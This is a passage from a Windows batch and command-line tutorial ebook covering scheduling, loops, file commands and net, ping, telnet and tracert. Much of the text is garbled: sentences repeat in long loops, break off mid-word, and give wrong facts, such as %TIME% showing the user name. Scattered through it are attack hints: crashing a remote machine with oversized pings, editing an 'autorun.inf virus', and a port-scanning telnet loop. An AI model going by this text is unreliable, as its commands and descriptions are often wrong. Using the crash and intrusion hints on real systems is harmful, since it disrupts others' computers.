the remote machine (10.199.64.66) sharply at 10:00AM tomorrow application to run sharp C:>at \10.199.64.66 10AM "notepad.exe" Added a new job with job ID = 1 When I entered into the command prompt of the remote machine 10.199.64.66, and execute the 'at' command I have got the following details, C:>at Status ID Day Time Command Line -1 Tomorrow 10:00 AM "notepad.exe" As said earlier, each scheduled task is assigned with an ID number, and these ID numbers are used for various purposes like displaying the specified ID information and also for deleting the scheduled task. 41 Since I know that the task added has the ID number '1', and I am going to test it again, whether the task is added on the remote computer by using the below command, C:\>at \\10.199.64.66 1 Task ID: 1 Status: OK Schedule: Tomorrow Time of day: 10:00 AM Interactive: No Command: "notepad.exe" To delete the scheduled task, we have to specify the ID number of the task to be deleted. In the following case I wish to delete the scheduled task that has the ID number of the below command, C:\>at 1 /delete Even if the scheduled task gets deleted, it won't display any confirmation message and you have to verify it by again executing the 'at' command. The '/yes' switch is used to delete all the tasks that are scheduled to run, even without any confirmation for deleting. C:\>at 1 /delete /yes The above command will delete all the tasks that are scheduled to run, even without any confirmation for deleting. scheduled tasks. So far the tasks we have scheduled will run in the background without any user interactively. 42 By interactively we have use the '/interactive' switch, as below C:\>at 5:11 PM interactively. 42 By using the '/every' switch you can specify the application to run in every specified day. In the following example, I have set the application "servermonitor.exe" to run on every 1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every:1,10,15,20,25 servermonitor.exe" to run on every 1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every:1,10,15,20,25 servermonitor.exe" to run on every 1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every:1,10,15,20,25 servermonitor.exe" to run on every 1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every:1,10,15,20,25 servermonitor.exe" to run on every 1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every:1,10,15,20,25 servermonitor.exe" to run on every 1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every:1,10,15,20,25 servermonitor.exe" to run on every 1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every:1,10,15,20,25 servermonitor.exe" to run on every 1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every:1,10,15,20,25 servermonitor.exe" to run on every 1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every:1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every:1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every:1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every:1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every:1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every:1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every:1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every:1,10,15,20 and 25th day of every month, C:>at 5:22PM /interactive /every "servermonitor.exe" on next Monday, Tuesday, Thursday, Saturday and Sunday. C:\>at 5:22PM /interactive /next:M,T,TH,S,SU servermonitor.exe 43 Environment variables are set to reduce tasks and code complexity by calling them in program, since they are just placeholders that keeps track of the system properties and system name and version and so on. The following are the few environment variables set in Windows XP, Environment Variables Description %ALLUSERSPROFILE% C:\Documents and Settings\All Users %APPDATA% C:\Documents and Settings \All Users \All User to hostname command %COMSPEC% C:\Windows\System32\cmd.exe %DATE% Displays the name of the previously executed command %HOMEDRIVE% Root Drive %HOMEPATH% \Documents and Settings\{username} %NUMBER\_OF\_PROCESSORS% Displays the name of the OS installed 44 %PATH% Points to C:\WINDOWS\system32 %PATHEXT% .COM; .EXE; .BAT; .CMD; .VBS; .VBE; .IS; .WSF; .WSH %PROCESSOR ARCHITECTURE% Displays the processor architecture %PROCESSOR ARCHITECTURE% Displays the current prompt %RANDOM% Generates a random integer between 0 and 32767 %SYSTEMDRIVE% Moves to the Root drive %SYSTEMROOT% C:\WINDOWS %TEMP% and %TMP% C:\DOCUME~1\{USER}\LOCALS~1\Temp %TIME% Displays the currently logged in user name %USERPROFILE% C:\Documents %WINDIR% C:\WINDOWS You can manually set an environment variable using the 'SET' command and those variables set by this command will not reside permanently in the system but they were temporary and will be lost after a reboot. To set an environment variable using 'set' command, C:\>set C=C:\windows\system32\cmd.exe C:\>%C% Microsoft Windows XP [Version 5.1.2600] 45 (C) Copyright 1985-2001 Microsoft Corp. In the above example, I have set an environment variable name 'C' and assigned the value the path to the command prompt. Then value can be accessed by using % on both sides of the variable like '%c%'. Since I have set the path to the command prompt to the variable is accessed, it will open up a new command prompt in the existing window. Note: - Every Operating system does support looping with the help of got statements and for statement. Since we have already learnt about the 'goto' statement do have its own switches for operating in various ways. The commonly used switches are. For /D - The '/D' switch along with the 'for' statement do have its own switches for looping to see how the 'goto' statement works. Like many other command is used for looping to see how the 'for' statement works. through Several directories For /R - The '/R' switch along with the 'for' command is used for looping through a range of specified numbers. For /F - The '/F' switch along with the 'for' command is used for looping through a wide variety of files, command and strings. 47 In addition, substitution of FOR variable references has been enhanced. You can now use the following optional syntax: %~I - expands %I to a fully qualified path name %~dI - expands %I to a fully qualif a file name only %~xI - expands %I to a file %~tI - expands %I to size of file %~xI - expands %I to the fully qualified name of the first one found. If the environment variable name is not defined or the file is not found by the search, then this modifier expands to the empty string. The modifiers can be combined to get compound results: %~dpI - expands % I to a full path name with short names only %~dp\$PATH: I - searches the directories listed in the PATH 48 environment variable for %I and expands to the drive letter and path of the first one found. %~ftzaI - expands %I to a DIR like output line Here I am going to cover all kinds of usage of the 'for' command along with some code snippets, FOR /D %v IN (\*.\*) DO dir/s "%v" As said earlier, that the '/D' switch along with the 'for' command is used for looping through the directories and sub-directories. Note: When you execute this command right from the command prompt by copying it and pasting it will work, but when you create a batch file using this code, won't work, because when you are using it in a batch file, you are supposed to use %% preceding the variable name, in this case the following code will work if you try to execute as a batch, FOR /D %%v IN (\*.\*) DO dir/s "%%v" 49 The '/R' switch when used with the 'for' command is used for looping through Directories and sub directories. FOR /R C:\Windows\Prefetch %v IN (\*.pf) DO del %v The above piece of code is used for deleting prefetch files that has the .pf extension, also I have enclosed the screenshot captured while I was executing this statement. 50 The '/L' switch when used for looping through a wide variety of specified numbers. In the below example, I have enclosed a snippet
that I used for finding open port and if an open port is found, then it will telnet to it and establish a remote connection, but the user has to supply the IP address or the hostname as parameter to this program, only then it becomes effective. for /L %%v in (1,1,20) that contains 1,1,20, where the '1' in the front denotes the initial value for the loop, the second '1' denotes the increment value or the step value, since it is stated as '1' over here, the loop will be incremented by one and finally the '20' denotes the end value, indicating that the loop was supposed to be terminated when the count reaches 20. The following piece of code will help you to better understand how it works, FOR /L %G IN (20,-2,0) DO ECHO %G Here is the output for this statement, If you notice the set, it has some negative values too which in turn describes that we can use negative integers too while looping using the 'for' statement. 51 The '/F' is a special switch where it has a set of extra options available for it, which includes the following, eol=c skip=n delims=xxx - specifies an end of line comment character (just one) - specifies the number of lines to skip at the beginning of the file. - specifies a delimiter set. This replaces the default delimiter set of space and tab. tokens = x,y,m-n - specifies which tokens from each line are to be passed to the for body for each line are to be passed to the for body fo specifying the mth through the nth tokens. If the last character in the tokens = string is an asterisk, then an additional variable is allocated and receives the remaining text on the line after the last token parsed. usebackq - specifies that the new semantics are in force, where a back quoted string is executed as a command and a single quoted string is a literal string command and allows the use of double guotes to guote file names in filenameset. The following statement is used for listing all the directory. FOR /F "tokens=\*" %v IN ('dir/b ^"c:\a^") DO ECHO %v The statement given below is used for displaying all the processes running in the background. It just uses the 'tasklist' command inside the 'for' loop to display them. FOR /F "delims==" %v IN ('tasklist') DO @ ECHO %v 52 The following statement helps you in better understanding of the token and the delimiters used with the '/F' switch, FOR /F "tokens=1,3\* delims=," %v IN ("Cybercrawler, Prem, E-Book, Batch") DO @ ECHO %v 52 The following statement helps you in better understanding of the token and the delimiters used with the '/F' switch, FOR /F "tokens=1,3\* delims=," %v IN ("Cybercrawler, Prem, E-Book, Batch") DO @ ECHO %v 52 The following statement helps you in better understanding of the token and the delimiters used with the '/F' switch, FOR /F "tokens=1,3\* delims=," %v IN ("tokens=1,3\* delim wrote %w The below snapshot is the output for the above given statement, The tokens specify the string or command that reside inside the set, here the tokens used were 1 and 3, which is namely the 'Cybercrawler' and 'E-Book', this clearly states that each token has a index value starting from the integer 1 and goes on like that. The 'delims' is short for the delimiters, in this case, they were just the separators used in between each string or command that reside inside the set in order to separate them. In this scenario, the comma is the delimiter used. The statement will fetch the token 1 'Cybercrawler' and token 3 'E-book' and echoes the string 'wrote' in between them, thereby creating the output 'Cybercrawler wrote E-Book'. Likewise the 'for' statements are widely used for making a decision, and in accordance to the decision taken, the result or the output is produced. The primary decision making statements used in batch programs are, IF and IF NOT. The decision making statements deals with files and folders, @echo off if exist C:\windows. (echo Found) else (echo Not found) Pause In this case, the program will check for the directory C:\windows, and if it exists then it will display the message 'Found' else it will display th generated by the 'tasklist' command. The 'tasklist' command, in case of successful execution will return the error level as '0' and in case of failure in the execution it will return '1'. @echo off tasklist cls if errorlevel 1 ( echo success ) else ( echo Failed ) Pause The result of this program would be either 'success' or 'Failed' , depending upon the error level generated by the 'tasklist' command, if the error level is '0' then the result will be 'Success' else if the error level is '1' then the result will be 'Failed'. The following piece of code shows how the decision making statements, takes a decision on comparing a string, @echo off :begin color a echo Access Code : set /p ac= 55 if %ac%==12345 ( echo Access Granted ) else (echo Access Denied goto begin) Pause This code, when executed will display 'Access Code entered matches 12345, then it will display 'Access Co reveals the usage of 'IF NOT' statement, @echo off color a if not exist "c:\Program Files\Mozilla Firefox is not yet installed ) 56 Pause This program will check whether the Mozilla firefox is currently installed on the computer, if not detected, then it will display "Firefox is not yet installed , please Install it now", and if it detects that Mozilla is installed then it will display "Firefox is currently installed "In my case, I have already installed "In my case, I have already installed" In my case, I have already installed "In my case, I have already installed then it will display "Firefox is currently installed". in string form, OPERATORS MEANING EQU EQUAL NEQ NOT EQUAL LSS LESS THAN OR EQUAL GTR GREATER THAN OR EQUAL 57 Commands associated with files and folders This chapter will cover all the commands associated with the files and folder for performing operations such as creating a new file, folder, renaming it, displaying it, copying it, moving it and deleting it. Dir: The 'dir' command is used to display the contents in a directory. Likewise other commands, this too have few switches available to narrowing down the result i.e. displaying the file in various other ways than that of the usual way. When the 'dir' command is used alone without any switches, it will display the contents of the current directory. The following screenshot shows how this works, I have executed the 'dir' command in my C: drive,
and it displayed the files and folders available in the C drive. The indicates that it is a folder or a Directory, where as the rest of them are just file, even the file extensions are displayed at the end of the file name, so that it is easy to identify what kind of file it is and also displays the size of the file and free memory space available on the drive. 58 Every directory, Hidden files, Archived file, system file, indexed and so on. By default the 'dir' command wont display the system files, sometimes you have to revoke the read-only permission to modify a file, to maintain a little bit of privacy you may also have to hide a directory, all these can be done with the help of the '/A' switch along with the '/A' switch alon folders in a directory, no matter what attribute is set. The 'dir /a' can be optimized completely by using few parameters available for the '/a' switch, which is very useful in narrowing down the result that we are looking for. The 'dir /a' command alone will display all kinds of files, directories and sub-directories that reside in the current directory. Here is a screenshot that displays all the files including the system files. If you notice the above screenshot, it was displayed as , which is nothing but a folder which is common for all the users, and where their documents reside. 59 Further if we want to narrow down the result, we can use the following available parameters for the '/a' switch, they were, 'D' for Directories, 'R' for Read-only files, 'H' for Hidden files, 'A' for Files ready for archiving, 'S' for System files and 'I' for Not content indexed files. If I want to view all the read-only files then I have to use the command 'dir /ar' and so on. The following screenshot displays the system files and folders displayed in the above screenshot were operating system files are hidden by default. The 'dir /b' command, but it will display bare information i.e. the directory name alone, which doesn't contain any further info such as the file size, date, file and free space available. The below screenshot will shows how it will display the output, This format doesn't even have any kind of header information. 60 The 'dir' command by default will include the separators between the integers while displaying the file size, the '/c' switch when used with the 'dir' command will perform the same operation. To avoid the 'dir' command displaying the separator in between the integers while displaying the separator in between the 'dir /-c' command, The above screenshot contains the separator in between the integers, where as the below screenshot doesn't include any separators, The 'dir /d' command will display the output in lowercase. 61 The 'dir /o' command is used to sort or order the way it displays the output, we can sort the output in terms of size then I can use the command 'dir /OS', likewise you may use any of the above parameters. The 'dir /p' command will pause displaying the output, if there is a screen full of information. The 'dir /q' command will display the owner of the file, the below screenshot shows how it displays the output when used with the /q switch. The 'dir /s' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info rather the 'tree' command, but will give more detailed info rather than the 'tree' command, but will give more detailed info r folder activities such as the creation of file, file when was last accessed and modified. The '/T' switch does have a set of parameters that is used to narrow down the usage, for making the 'dir /TC' command, to know when a file was last access then 62 we have to use the 'dir /TA' command, likewise to know when a file was last modified, then we have to use the 'dir /TW' command is used for display short names for a non-8dot3 file names. If you are not aware of the non08dot3 files, here is an example,' Program Files' is a non8dot3 file, where it can be shortly written by the OS as 'PROGRA~1' Here is an additional switch 'dir' command by default will display the date in a four digit year, I don't know whether it has something to deal with the Y2K bug or something like that. Mkdir: The 'mkdir' command is short for the make directory, which in turn is used to create new directories just by using a single 'mkdir' command. If I wish to create a new directory named 'pictures', then I can use the command. 'mkdir pictures', if there is a space in between the folder name then we can use the Double quotes surrounded by the directory name 'My Collections', then I can use the use the command 'mkdir "My Collections'. If I wish to create 3 different directories that reside one into one, namely 'a', 'b' and 'c' then I can use the command is short for the remove directory, which in turn is used to purge already existing directories, the 'rmdir' command is a replacement of the 'rd' command. Unlike the 'md' command, the 'rd' command has two switches, where the '/s' switch is used to delete all the directories, sub-directories, sub-directories 'chdir' command is short for change directory, which is a replacement command for the 'cd' command, more over this is the only command the doesn't require any quotes even when there is a space in between the directory names, because it won't treat space as delimiters. For example, cd \winnt\profiles\username\programs\start menu for the above path, there is a space between the 'start menu', where as we have to enclose it within quotes when we use the same with some other commands like this, cd "\winnt\profiles\username\programs\start menu" but this is not a case with the 'cd' command when used without any switches will display the current location, or the current directory. If you notice the above screenshot, the chdir command displays the current directory i.e. C:, where as the 'chdir C:\windows'. Ren: The 'rename, and it's the replacement for the rename, and it's the replacement for the command name itself implies that

this command is used for renaming a file or a directory. We are supposed to ensure that we are including the file extension while renaming a file, but this is not a case with directories. For example, if I wish to rename a directory from 'administrator', then I can use the command, C:>Rename administrator 65 Replace: The operation of the 'replace' command is similar to the copy [CTRL+C] and paste [CTRL+V] operation, for example in the below screenshot, there exists a directory 'a' is moved to the directory 'b', If you notice the above screenshot, I have used the '/A' switch, which is used for creating a new copy of the file that we are going to replace, here in this example, it has created a new copy of 'a.txt' inside the directory 'b'. The '/P' switch will prompt for confirmation whether to replace a file or adding to a source file. The '/P' switch is used even for replacing read-only files as well as unprotected files. The '/S' switch is used for replacing files even in all the sub-directories, and this switch must not be used along with the '/A' switch.. The '/W' switch is used for replacing file if found older. Copy: The name of the command 'copy' itself implies that it is used for copying one or more files from one location to another specified destination location. Two primary things namely the source and the destination files are required to make the copy operation complete and successful. The 'copy' command works only with files but not on directories, even though a directory name is mentioned, it will copy the contents from the source directory to the destination directory. 66 For example, in the above screenshot, I have mentioned the directory 'a' and 'b', but if you notice the line below that, it says the 'C:\a\a.txt', so 'a.txt' is a file that resides inside directory 'a' and which is been copied to the destination directory 'b'. Likewise other command, 'copy' command does have its own set of switches. The '/A' switch is used to copy files in ASCII mode, the '/N' switch is used for verifying whether the files have been written correctly, the '/N' switch is used for verifying whether the files have been written correctly. creating short file names which usually is not a 8dot3 name. Sometimes when you copy a file from source to destination, and if found that the destination, and if this is used then it will suppress prompting for confirmation, where as the '/-Y' is mere opposite to the '/Y' which makes the command to prompt for confirmation for proceeding further. The '/Z' switch is used to copy networked files. Xcopy: 'Xcopy' is a superset of the 'copy' command, with few additional features like copying directories, directory structure, exclusion of specified file copying, copying files that are modified on or after specified date, exclude copying empty directories and so on. The 'Xopy' command is used to copy files with the archive attribute set without changing the attribute, where as the '/M' switch does the operation similar to the '/A' switch but won't modify the attribute from archive. The '/D' switch has parameters for accepting month, day and year, which in turn can be represented in the '/D:m-d-y' format. If no date is specified then it will copy the files whose source time is newer than the destination time. 67 The '/Exclude' switch is used for restrict either the type of file or by using the string, for example, if I want to avoid copying bitmap files, then I may use the below command, C:\>xcopy /exclude:.bmp Images IMG When the above command is executed, it will copy all kind of files from the directories and sub-directories except the empty ones, where the '/E' switch is mere opposite to the '/P' and is used to copy even the empty directories. Similar to the copy even the empty directories. Similar to the copy so to copy files. The '/V' switch is used to copy even the empty directories. The following were the exit codes for the xcopy command, Exit code Description 0 Files were copied without error. 1 No files were found to copy. 2 The user pressed Ctrl+C to terminate xcopy. 4 Various errors including insufficient memory or disk space, an invalid drive name, or invalid syntax. 5 Disk write error occurred. 68 If you are copying more than one file, where the destination doesn't exists and when used the '/I' switch it will assume that the destination must be a directory and copies files. The '/Q' switch displays the complete source and the destination must be a directory and copies files. copied. The '/G' switch allows copying of encrypted files to destination that doesn't support encryption. The '/R' switch is used to overwrite the read-only files, this switch really helps in modifying the autorun.inf virus source by forcing to write to a read-only file. The '/T' switch is used for creating a directory structure, but it won't copy files and also won't include any empty directories in the destination directory. Whenever you copy a file using the 'xcopy' command, it will reset the file attributes, the '/K' switch is used to copy the attributes along with the file content, so that the attributes remains the same after copying. The '/N' copies file even if the short names (8dot3) that we have seen already. The '/N' copies file even if the same after copying. HDD. The '/X' switch is similar to the '/O' switch but also copies the audit settings. The '/Y', '/-Y' and '/Z' switches were the same as we already seen in the copy command. The '/B' switch copies the symbolic link is nothing but the shortcut). 69 Del: The command 'del' from that name by itself implies that it is used for deleting files but not directory, there is no need for specifying the filename one by one, just the directory name will do, for example, if I wish to purge all the files that reside inside the directory 'junk' then I can use the below command, Once the command is executed, then it will prompt you to confirm whether or not to delete those files. So the above command will delete all the files or not, if not then you may use the '/P' switch to force prompting the same. The '/F' switch is used to force deleting the read-only files. The '/S' switch is used to delete all the specified files even from the sub-directories. The '/Q' switch is used to delete all the specified files even from the sub-directories. using the '/A' switch, since we have to specify the type of attribute there are few available parameters indicating the attribute, 'R' for Read-only files, 'A' for System files, 'B' for System files, 'A' for System files Pushd: The 'pushd' command is used to push the current working directory or the specified directory in the stack and remembers it until it gets popped out. For example, if I want push 'C:\windows\system32' into the stack using the 'pushd' then I can use the command in the following way, If you notice the above screenshot, when the command gets executes, it not only remembers the path, but also changes the path to the specified directory. Popd: The 'pushd' command is used to pop out from the directory that is pushed using the 'pushd' command. Likewise the 'pushd' command, it not only purges the stack, but also moves back to the directory in which the 'pushd' pushed the directory. The above given screenshot clearly briefs that the 'pushd' command pushes the 'C:\windows\system32' into the stack and pops out from the 'system32' when the 'pushd' command is similar to the 'cut' [CTRL+X] operation, which will completely moves the specified file from source to destination without leaving a copy in the source directory. The above snapshot shows that a text file 'a.txt' is moved from the source 'C:\a' to the destination 'C:\b'. The '/y' switch when used with the 'move' command will not prompt you for confirming to proceed with the action, where as you can set the option by using the '/-y' switch. 72 Network Troubleshooting Commands Net: The 'net' command is used for both local and remote troubleshooting and provides lot of features, and has 21 different sub-commands, and each sub commands have its own switches. To know what were the sub commands available for the 'net' command you can use the 'net' command followed by the '/?' for displaying help. First let's discuss about the basic operations that this command offers and then move on the next level. The 'net' command offers and then move on the next level. The 'net' command offers and then move on the next level. to display all the available user accounts in the local machine, As you see in the above screenshot, there are currently six user accounts available on my computer namely 'administrator', 'cyb3rcr4wl3r','\_\_\_vmware\_user\_\_', HelpAssistant', 'Support\_388945a0' and 'guest'. The 'administrator' is the common user account with admin rights created by default whenever you install windows operating system, even the 'Guest' belongs to the same category but doesn't have much privileges, 'cyb3rcr4wl3r' is the user account that I have created by the VMware User ' was created by the VMware Virtual machine which is a third party virtualization software and the other 2 user accounts were created by the OS itself, and is used by Microsoft in case of remote access, troubleshooting and automatic updates. The 'net' command along with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will
perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the similar operation even with the 'user' will perform the 'user' will command is used to create a new user account with the name 'technocrawl' and password 'P4\$\$w0rd' on the local machine. C:>net users technocrawl P4\$\$w0rd /add The command completely successfully. Once the user that you created using the 'net user' command has only the normal user privileges, whereas it doesn't have few rights such as installing a new software, access to few files and folders are restricted and so on. To change the password for the user: Retype the password to confirm: The command completed successfully. When the asterisk symbol is used after the 'net users' command followed by the 'username', it will prompt for the new password, else the access will be denied. 74 The 'net users' command with the '/delete' switch is used to delete the specified user account mamed 'cybercrawler' from the local machine. C:>net users cybercrawler /delete the user account was deleted, then you will be displayed with a message "The command completed successfully'. The '/times' switch is used to specify the 'logon hours allowed' for the specified user, if it is specified admin /times:all The command completed successfully. In the above example, I have set the 'logon hours allowed' for the user 'admin' as all, so that user will be able to logon to this computer at any time. To view the detailed information about a specified user such as account information, password information like password last set, password expiry, password whether changeable, whether user has the rights to change the password, local group membership and the global group membership of the user, you can use the below command, 75 C:\>net users admin The below the user admin to know the details of the user admin to know the user admin to know the user admin to know the user admin t screenshot reveals the account information for the user 'admin', Also you can view the 'logon hours allowed' set for this user is "all", since we have already specified in the previous command. As said earlier the user, you can use the 'localgroup' subcommand along with the 'net' command. For example, I have to create a new user and assign it administrator rights, then I have to use the below commands to do so, 76 As you can see in the above screenshot, I have to use the below commands to do so, 76 As you can see in the above screenshot, I have to use the below commands to do so, 76 As you can see in the above screenshot, I have to use the below command along with the 'net' command. For example, I have to create a new user and assign it administrator rights, then I have to use the below commands to do so, 76 As you can see in the above screenshot, I have to use the below command along with the 'net' 'moderator' to the administrator group, there by assigning all the rights to the user. When you type the 'net localgroup' command alone without using any switches, then it will display all the rights to the user. When you type the 'net localgroup' command alone without using any switches, then it will display all the rights to the user. usergroup that you are going to create. In the following example I have created a new usergroup as the moderator user Group" The command completed successfully. The '/domain' switch is used to add the user group under the specified domain. The '/delete' switch is used for deleting the user from a group. The following command is used for deleting the newly created group 'moderator', C:>net localgroup Moderator', C:>net localgroup Moderator', C:>net localgroup 'moderator', C:>net localgroup Moderator', C:>net localgroup Moderator', C:>net localgroup 'moderator', C:>net localgroup Moderator', C:>net localgroup 'moderator', C:>net localgroup 'moderator', C:>net localgroup 'moderator', C:>net localgroup Moderator', C:>net localgroup 'moderator', C:>net localgroup Moderator', C:>net localgroup 'moderator', C:>net localgroup connected in the same network. If you are not in a networked machine, then it will displayed by the 'net view' command, which reveals all the networked hostnames connected with my computer, 78 The 'net' command along with the 'view' sub command is used to view the computers connected within the same network. When this command gets executed it will display the hostnames with its description if any. If this command is executed in a machine which is not hooked up in a network then it will display the message "There are no entries in the list.". Here is a screenshot of how it will display the available hostnames that is connected with the same network, The 'net view' when used to display all the connected hosts that is in the same network, no matter whether the machine is online or offline. The 'net time' command is used to display the time from the configured time server if specified. 79 The 'net start' command is used to start a service start a service services associated with the computer. If you are not aware of the services that are supported by your computer. The following command is used to start the 'printer spooler' service in your computer, C:\>net start spooler The Print Spooler service is started successfully. You will get the following error message, if this service was already started and running, C:\>net start spooler The requested service has already been started. 80 Ping: The 'PING' command is short for "Packet Inter Net Gopher" which is used for testing the connectivity between two hosts on the same network. This command is also used to check whether the NIC (Network Interface Card) is in good working condition. For example, to check whether the NIC is working fine, then I have to ping the localhost either by using the hostname or by the IP address. As we already know that the loopback IP for a local machine is 127.0.0.1, I am pinging the localhost using the localhost using the localhost to the target machine specified on the same network, once the target receives the ICMP echo requests send by the source machine, which is also known as ICMP echo response or echo reply. By default the ping command in a windows machine will send 4 echo requests to the target, and the target will respond with one ICMP echo reply for each requests and as a result for 4 echo replies incase of good connectivity and that's what gets displayed on the screen, stating "reply from MACHINE\_NAME: bytes=XX timeping -n 2 10.199.64.66 The '-l' switch is used to specify the size of the ICMP packet, where as the default size of the packet that is sent is 32 bytes. I can either reduce or increase the size of a packet is 65,535. Earlier, there was a bug in the ping, whereas by using the '-l' option any one can set the packet size more than the maximum size (65,535), so when a giant packet and as a result the machine, it doesn't know how to handle such a big packet and as a result the maximum size (65,535), so when a giant packet is sent to the target machine, it doesn't know how to handle such a big packet and as a result the machine simply crashes, hangs or reboots which leads to DoS attack thereby denying the services offered by the remote machine. For example, if I want to crash the remote machine 10.199.64.65, then I can use the below command by setting the size more than the machine, then it will crash, hangs or reboots. This bug was patched once it came into the developer's vision, and it will not work nowadays, moreover the maximum size of a packet that you can set is restricted to 65,500. The '-f' switch is used to specify the TTL (Time To Live) value of the packet. Every OS has its own TTL value set to its packets, the default TTL value for a packet sent from a Windows XP machine is TTL=128. The '-v' switch is used to set the ToS (Type of Service). The '-i' and '-k' switches are almost similar to each other where both of them is used for loose sourcing when given with a host list in a external text file, where as '-k' switch will force the packets to pass through the host specified in the list. Both the switch really helps in testing whether the routers and other network is working fine or not. C:\>ping -j hostfile.txt 10.199.64.70 The '-w' switch is used for setting the delay time or the wait time for the ECHO reply to reach the source machine. Telnet: The 'telnet' command is used to connect to a remote host either by using its hostname or by its IP address. If I want to connect to a remote machine that has the hostname or by its IP address. 23, and also establishes connection to the port 23 on the remote machine too. Once the command is executed, then the telnet will attempt to automatically logon to the remote host. The '-t' switch is used for specifying the client side logging, so that it will log all the successful connection, failed connection, refused connection, refused for specifying the terminal type, the supported terminals are vt100, vt52, ansi and vtnt. telnet can also be used to connect to the FTP port using the telnet, then I have to specified, for example, if I wish to connect to the remote machine which has the IP address '10.199.64.66' on the FTP port. 84 Thradmn' command is used for administering the remote sessions made by the 'telnet' command. When you execute the command 'thradmn' without any sub-commands and switches, then
it will display the current configuration made to the telnet. thradmn [computer name] [common options] start | stop | pause | continue | -s | -k | -m | config config options This command really helps in starting and messaging specified remote sessions by using its sub-commands and switches. If I want to establish a new remote connection to a remote computer that accepts a telnet connection, then I can use the below command, C:>tIntadmn LAB Serv1" by using the username "LAB Admin" and the password "Adm1n4Lab3". Here comes the computer with hostname "LAB Serv1" by using the username "LAB Admin" and the password "Adm1n4Lab3". command usage, and the available options, tlntadmn //computer\_name -u -p start | stop | pause | continue | -s | -k | -m | config config options Where the '-S' switch is used for terminating a specified session, '-m'switch is used for terminating a message to a specified session. The 'config' sub-command is used to configure telnet server parameters. Similar to the other command, the '-p' switch is used for specifying the username and password to connect to a remote computer respectively. Here comes the options, 85 dom = domain for user names ctrlakeymap = yes|no Set the mapping of the ALT key timeout = hh:mm:ss Set the Idle Session Timeout timeoutactive = yes|no Enable idle session timeout. maxfail = attempts Set the maximum number of connections. port = number Set the telnet port. sec = [+/-]NTLM [+/-]passwd Set the authentication mechanism mode = console|stream Specify the mode of operation. By default the port numbers other than the reserved ones. Tracert: The tracert command is short for 'trace route', the name itself implies that it is used to trace the path or route to a specified remote host. The following piece of tracert command is used to trace the route to the www.google.com Tracing route to www.l.google.com [209.85.153.104] over a maximum of 30 hops: 1 1408 ms 687 ms 383 ms 192.168.50.253 2 \* 3 \* \* 952 ms \* 192.168.2.11 Request timed out. 4 2421 ms 986 ms 423 ms 10.168.25.33 5 \* 936 ms 329 ms Request timed out. 86 6 3240 ms 1002 ms 653 ms 203.16.35.210 7 325 ms 430 ms 278 ms im-in-f104.google.com [209.85.153.104] In the above example, it was clear that any data packet sent from my computer has to cross the 7 displayed hops between my computer and the Google. The hops found in the path are given along with the IP address and the microseconds taken to reach the hop. The '\*' may represent the connection interruption due to high traffic, server load, or even firewall blocking the packets. The '-d' switch is used to tell the telnet command, not to resolve the IP addresses to the hostnames. As mentioned earlier that 'tracert' command by default will trace the route to an extent of 30 Hops, and by using the '-h' switch we can manually specify the maximum number of hop counts. In the below example I have reduced the hop count from 30 to 5. C:>tracert -h 10 www.w3cert.com Tracing route to w3cert.com [208.76.245.162] over a maximum of 10 hops: If the target host (www.w3cert.com) is found within the 10 hops: the 'j' switch is used for loose sourcing using a text file that contains list of hostnames. C:> tracert - j host-file.txt', unlike the ping command, 'tracert' doesn't provide strict sourcing, hence it won't force the datagram's to pass through the mentioned hostnames, but it will make an attempt. The '-w' switch is used to set the time to be delayed for each reply, and this can be specified in Milliseconds. 87 IPconfig' command is used for checking the Network adapters available, IP addresses, MAC addresses, MAC addresses, Subnet Mask, Default gateway and so on. When the 'ipconfig' is executed alone, then it will when used with the '/all' switch is used to release of the already used IP address, where as the '/renew' is used to release of the already used IP address. The '/flushdns' switch when used with the 'ipconfig' command will clears the DNS resolver cache. The '/registerdns' switch is used to display the DNS resolver cache. The '/displaydns' switch is used to display the DNS resolver cache. e . . 